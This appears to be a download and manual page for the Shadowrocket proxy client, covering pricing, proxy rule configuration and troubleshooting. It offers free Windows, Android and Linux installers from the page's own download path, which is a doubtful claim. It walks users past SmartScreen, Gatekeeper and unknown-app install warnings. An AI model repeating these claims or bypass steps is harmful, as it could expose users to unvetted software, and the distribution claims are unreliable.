Free for Mac · Windows · Android · Linux

Shadowrocket for MacAll-platform access and rule configuration

Rule-based proxy client for all platforms with rule-based routing using your existing configuration. iPhone / iPad: $2.99 one-time through the App Store; Mac, Windows, Android, and Linux versions are free.

Current version Loading · iPhone / iPad: $2.99 one-time; Mac, Windows, Android, and Linux versions are free

First use: start by importing an existing subscription →
iPhone / iPad $2.99 one-time·Free on other platforms
Two ways to get the app

Choose Shadowrocket for your device

iPhone / iPad: $2.99 one-time through the App Store; Mac (Apple Silicon / Intel), Windows, Android, and Linux versions are free. Get desktop and Android installers from this site's download page.

iPhone / iPad

$2.99 one-time through the App Store; Mac, Windows, Android, and Linux versions are free. iPhone and iPad can use the same purchase record. Check the App Store page for system requirements.

Check the product page in the store, then confirm which account made the purchase. After installation, prepare your own subscription or server details and import them from Home.

Mac

Free · Apple Silicon / Intel. iPhone / iPad: $2.99 one-time through the App Store; Windows, Android, and Linux versions are also free.

Check the chip information in About This Mac, then choose the matching dmg. If you see a warning that the developer cannot be verified on first launch, confirm the source, then go to Privacy & Security and select Open Anyway. See the installation approval guide for full steps.

Windows

Free. Mac, Android, and Linux versions are also free; iPhone / iPad: $2.99 one-time through the App Store.

Use the 64-bit installer. If SmartScreen appears, first confirm the file came from this site's download page, then select More info → Run anyway. Follow administrator policies on managed devices.

Android

Free. Mac, Windows, and Linux versions are also free; iPhone / iPad: $2.99 one-time through the App Store.

The download page provides an arm64 installer. If Android requests permission, allow the browser or file manager currently in use to install unknown apps; you can turn this permission off after installation. System VPN permission is also required before connecting.

Linux

Free · deb / rpm / AppImage. Mac, Windows, and Android versions are also free; iPhone / iPad: $2.99 one-time through the App Store.

Choose a format based on your distribution and package manager rather than installing formats one after another. AppImage needs execute permission before first launch; handle deb and rpm with the corresponding package manager. See the download page for commands.

After getting the client, keep your existing configuration before importing anything. Server address, port, protocol type, and authentication details are a set of related parameters; copying only the address leaves out essential fields. When changing devices, check both local connection permissions and the configuration in use. A purchase record or configuration file alone does not establish a connection.

Desktop and Android installers are distributed through this site's /dl/shadowrocket/ path. The download page reads the current manifest and provides the matching format. Before updating, back up Config and custom rules. If the system blocks installation, verify the download source first, then follow the platform-specific approval steps rather than disabling system protection.

Config / Rule

Rule-based routing and connection settings

Check Global Routing first, then review Config and server parameters. The snippets below explain configuration syntax only; example.com is a sample domain, not working service information.

Home / Global Routing / Config

Global Routing determines how connections are handled: Config mode routes traffic according to the Rule entries in the active configuration; Proxy mode sends applicable connections through the current proxy; Direct mode connects directly. For domain-specific policies, choose Config and confirm the intended configuration is enabled. During troubleshooting, you can switch modes temporarily for comparison, but note the original setting and restore it after testing. The snippet below applies only when the relevant rules match; changing modes does not fix server parameters.

[Rule]
DOMAIN-SUFFIX,example.com,PROXY
FINAL,DIRECT

Distinguish the server list from Config

The server list answers “which server handles the connection?” Config answers “which policy applies to each request?” After importing a subscription, check Global Routing; after importing a rules file, confirm the selected server as well. Missing either part can leave a populated list unable to connect, or an active connection routing traffic differently than expected. For first use, verify one existing server connection before adding rules and automatic triggers.

Match the protocol to your existing details

Shadowrocket supports scenarios using protocols such as Shadowsocks, VMess, VLESS, Trojan, HTTP, SOCKS5, WireGuard, and Hysteria2. Protocol names are not speed settings; switching Type at random is not a reliable way to fix a connection. Check Host, Port, authentication fields, and related transport parameters against your own server details. For configurations that use TLS, also check the server name and system time. Fields vary by protocol, and leaving them blank or copying values from another type can cause a handshake to fail.

Narrow rule checks to one target

When checking rules, choose a problem domain you can reproduce consistently and decide whether it should use PROXY or DIRECT. Then scan from the top of Rule and find the first matching entry instead of looking only at FINAL. DOMAIN-SUFFIX covers the domain and its subdomains; DOMAIN-KEYWORD can have a broader scope. If multiple conditions match the same target, adjust their order or narrow their scope. Sample private network ranges also need to reflect your own LAN; they are not a complete configuration for every network.

What Data and test results indicate

Data readings help show whether data is being sent or received during a connection and how traffic changes across different statistics. They do not replace the target service's response or directly correspond to billing data from a provider. If Connectivity Test returns a result but a page still will not load, continue checking DNS, rule matches, and the specific request. If only one app has an issue, first rule out its cache, connection reuse, or local network permissions. Changing one variable at a time makes the cause easier to identify than switching servers, protocols, and rules all at once.

Separate routine setup from troubleshooting

Configure On Demand and sync after the connection is stable to reduce variables during initial setup. When a problem occurs, record the current Global Routing mode, Config filename, server type, and network, then compare against the most recent working state. If changing networks resolves it, investigate the original network conditions first. If the same configuration fails on several networks, check the server parameters. When sharing diagnostic details, include the action sequence and symptoms, but never provide full passwords, authentication data, or subscription links containing private information.

Purchase scope / Source checks / Restore purchases

Client purchase ≠ connectivity service

iPhone / iPad: $2.99 one-time through the App Store; Mac, Windows, Android, and Linux versions are free. The client manages subscriptions or server details you already have. This site does not provide, sell, or recommend servers or subscriptions.

Product page verification

Developer, official icon, and app ID

On the iPhone / iPad App Store product page, check the developer, Shadow Launch Technology Limited, the official icon, and app ID 932747118. A similar name is not a substitute for these details. The app ID in the store link should match the product page. Use the official icon shown in this site's header and in the store; do not complete a purchase based only on the word “Shadowrocket” in search results.

Shadowrocket is a closed-source commercial application. Get it according to platform: use the specified App Store product page for iPhone / iPad, and use installers from this site's download page for desktop and Android. If a downloaded file has an unclear source, return to the relevant download page to verify it rather than relying on the filename.

Store and account

Check your account region and system requirements

If the app is not available in the mainland China App Store storefront, check the region of the account currently used for Media & Purchases instead of repeatedly changing search terms. Account region and device language are separate settings; changing the language does not switch storefronts. To change a region, follow Apple's prompts in the account's Country/Region settings, including any requirements related to balance, existing subscriptions, and payment information.

Check the App Store page for iPhone / iPad system requirements. Before purchasing, confirm that your device meets them and review the currency and price shown on the product page. The US storefront lists a $2.99 one-time purchase; other storefronts show local currency. Mac, Windows, Android, and Linux versions are free. The account holder should manage account changes.

Purchase record

Use the same purchase record on iPhone and iPad

Using the account that made the purchase, you can download the app again from Purchased on iPhone or iPad. After changing devices or reinstalling, first confirm the account signed in to Media & Purchases, then check the purchase history. If the product page still shows a price, do not pay again immediately. First verify the account, storefront region, and order history for the same app.

Restoring the app and restoring configuration are separate tasks. A purchase record lets you download the client again; whether existing server details, custom Rule entries, and Config are retained depends on the old device's backup and actual sync settings. Keep a working configuration before changing devices. On the new device, check the selected file, connection permissions, and server status before use.

Scope of use

Getting the client and connectivity services are separate

The one-time iPhone / iPad payment covers the client, not servers, subscription content, or connectivity services. Mac, Windows, Android, and Linux versions are free and also require server details or a subscription that you already have. Check subscription validity, available entries, and authentication status with your own provider; buying the client again will not fix them.

A successful import means the app received and parsed the information; it does not mean the remote server is currently reachable. If the list is empty, check the subscription response. If entries are present but a test fails, check the network, port, and protocol. If the test succeeds but some destinations do not, continue with Config and DNS. Troubleshooting by symptom helps avoid attributing unrelated issues to purchase status.

Update methods

Updating the client does not update subscriptions

Update the iPhone / iPad app through the App Store; get current Mac, Windows, Android, and Linux installers from this site's download page. Before updating the client, keep a copy of your configuration and custom rules. If the system blocks installation, follow the download page's installation approval steps. After reinstalling, confirm the selected item and system connection permissions.

Subscribe updates your existing server list, Config updates request-handling rules, and an app update changes the client itself. These are separate operations, not one general “update.” If a connection problem starts after a change, note which layer changed and compare by restoring only that content. Do not reset all settings at once.

Continue reading

Open the guide for your specific question

If you have not installed the client, start with the all-platform download guide. If it is installed but you have not imported details, follow the setup guide for Add Server and Subscribe. If only a specific destination has a problem, start by checking Global Routing and Rule. For protocol settings, read the field explanations in the protocol reference rather than changing Type at random.

Installation blocks, store searches, restoring purchases, and connection failures require different steps. The official manual documents each process so you can preserve working settings and verify issues one by one. If you need to share configuration while troubleshooting, include only the smallest rule snippet needed to reproduce the problem and replace private addresses with sample domains.

Official Manual · Topic Guides

Subscription updates and connection troubleshooting

Each guide explains prerequisites, steps, and expected results for a specific task. Record the current state first, then follow the checks in order to avoid changing multiple settings at once.